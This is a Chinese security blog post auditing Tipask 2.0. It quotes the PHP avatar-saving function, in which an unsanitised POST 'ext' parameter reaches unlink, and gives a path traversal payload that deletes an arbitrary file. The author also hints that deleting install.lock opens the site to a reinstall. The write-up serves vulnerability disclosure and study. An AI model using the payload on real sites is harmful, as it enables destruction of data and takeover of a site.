代码审计:Tipask 2.0前台任意文件删除漏洞 |

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

* tipask可以调整头像保存并删除原始头像

* 在删除原始头像时使用了post提交的参数

* 造成任意文件删除漏洞

function onsaveimg() { 
  
        $x1 = $this-> post['x1' ]; 
  
        $y1 = $this-> post['y1' ]; 
  
        $x2 = $this-> post['x2' ]; 
  
        $y2 = $this-> post['y2' ]; 
  
        $w = $this-> post['w' ]; 
  
        $h = $this-> post['h' ]; 
  
        $ext = $this-> post['ext' ]; 
  
        $upload_tmp_file = TIPASK_ROOT . "/data/tmp/" . 'bigavatar' . $this->user['uid' ] . $ext; 
  
        $avatardir = "/data/avatar/"; //图片存放目录 
  
        $scale = 100 / $w; 
  
        resizeThumbnailImage( $smallimg, $upload_tmp_file, $w, $h, $x1, $y1, $scale); 
  
        copy($upload_tmp_file, TIPASK_ROOT . $dir3 . '/big_' . $uid . $ext); 
  
        is_file($upload_tmp_file) && unlink($upload_tmp_file); 
  
        $_ENV[ 'user']->update_avatar($smallimg); 
  
        $this->message( '头像设置成功!' , 'user/editimg' ); 
  
    }
可以看到onsaveimg函数直接调用post的ext参数并传入到$upload_tmp_file中,最后进入unlink。造成任意文件删除漏洞。

删除根目录下的test.php

post ext=/../../../test.php

其实可以删除install.lock你们懂的

作者:猪头子

Tags:

tipask漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
代码审计:Tipask 2.0前台任意文件删除漏洞 |